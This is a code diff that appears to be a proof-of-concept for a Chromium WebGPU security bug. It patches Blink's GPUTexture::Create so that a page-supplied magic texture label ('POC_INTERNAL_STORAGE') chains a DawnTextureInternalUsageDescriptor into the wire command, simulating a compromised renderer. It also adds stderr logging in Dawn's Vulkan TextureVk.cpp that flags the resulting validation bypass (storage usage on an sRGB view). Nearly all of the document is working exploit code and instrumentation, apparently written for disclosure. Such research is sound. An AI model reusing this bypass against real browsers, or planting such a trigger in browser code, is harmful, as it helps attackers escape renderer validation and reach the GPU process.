diff --git a/third_party/blink/renderer/modules/webgpu/gpu_texture.cc b/third_party/blink/renderer/modules/webgpu/gpu_texture.cc
index 3564e94c6176b..74023311f5d89 100644
--- a/third_party/blink/renderer/modules/webgpu/gpu_texture.cc
+++ b/third_party/blink/renderer/modules/webgpu/gpu_texture.cc
@@ -207,6 +207,24 @@ GPUTexture* GPUTexture::Create(GPUDevice* device,
     }
   }
 
+  // ===== POC INJECTION (simulates compromised renderer) =====
+  // DawnTextureInternalUsageDescriptor is wire-serializable (dawn.json tags
+  // ['dawn'], not ['dawn','native']) and the DawnInternalUsages feature is
+  // unconditionally enabled by webgpu_decoder_impl.cc for all web devices.
+  // A compromised renderer can therefore chain this struct in the
+  // DeviceCreateTexture wire command. We trigger this when the JS sets a
+  // magic label so the rest of the page works normally.
+  wgpu::DawnTextureInternalUsageDescriptor poc_internal_usage;
+  if (webgpu_desc->label() == "POC_INTERNAL_STORAGE") {
+    poc_internal_usage.internalUsage = wgpu::TextureUsage::StorageBinding;
+    poc_internal_usage.nextInChain = dawn_desc.nextInChain;
+    dawn_desc.nextInChain = &poc_internal_usage;
+    fprintf(stderr,
+            "[POC] Chaining DawnTextureInternalUsageDescriptor"
+            "{internalUsage=StorageBinding} into DeviceCreateTexture wire cmd\n");
+  }
+  // ===== END POC INJECTION =====
+
   GPUTexture* texture = MakeGarbageCollected<GPUTexture>(
       device, device->GetHandle().CreateTexture(&dawn_desc),
       webgpu_desc->label());
diff --git a/third_party/dawn/src/dawn/native/vulkan/TextureVk.cpp b/third_party/dawn/src/dawn/native/vulkan/TextureVk.cpp
index a2ae53cc41..750772c3d0 100644
--- a/third_party/dawn/src/dawn/native/vulkan/TextureVk.cpp
+++ b/third_party/dawn/src/dawn/native/vulkan/TextureVk.cpp
@@ -2105,6 +2105,30 @@ MaybeError TextureView::Initialize(const UnpackedPtr<TextureViewDescriptor>& des
     usageInfo.usage = VulkanImageUsage(device, GetInternalUsage(), GetFormat());
     createInfo.pNext = &usageInfo;
 
+    // ===== POC INSTRUMENTATION =====
+    // Log the (format, usage) pair handed to vkCreateImageView so the bypass is
+    // observable on stderr regardless of whether Vulkan validation layers are
+    // enabled. VK_FORMAT_R8G8B8A8_SRGB == 43. VK_IMAGE_USAGE_STORAGE_BIT == 0x8.
+    fprintf(stderr,
+            "[POC] vkCreateImageView: VkFormat=%d "
+            "VkImageViewUsageCreateInfo.usage=0x%x storage_bit=%d srgb=%d\n",
+            static_cast<int>(createInfo.format),
+            static_cast<unsigned>(usageInfo.usage),
+            (usageInfo.usage & VK_IMAGE_USAGE_STORAGE_BIT) ? 1 : 0,
+            (createInfo.format == VK_FORMAT_R8G8B8A8_SRGB ||
+             createInfo.format == VK_FORMAT_B8G8R8A8_SRGB)
+                ? 1
+                : 0);
+    if ((usageInfo.usage & VK_IMAGE_USAGE_STORAGE_BIT) &&
+        (createInfo.format == VK_FORMAT_R8G8B8A8_SRGB ||
+         createInfo.format == VK_FORMAT_B8G8R8A8_SRGB)) {
+        fprintf(stderr,
+                "[POC] *** VUID-VkImageViewCreateInfo-usage-02275 VIOLATION: "
+                "STORAGE_BIT requested on SRGB view format — Dawn validation "
+                "was bypassed via DawnTextureInternalUsageDescriptor ***\n");
+    }
+    // ===== END POC INSTRUMENTATION =====
+
     VkSamplerYcbcrConversionInfo samplerYCbCrInfo = {};
     if (auto* yCbCrVkDescriptor = descriptor.Get<YCbCrVkDescriptor>()) {
         mIsYCbCrFilterable = static_cast<SharedTextureMemoryContentsVk*>(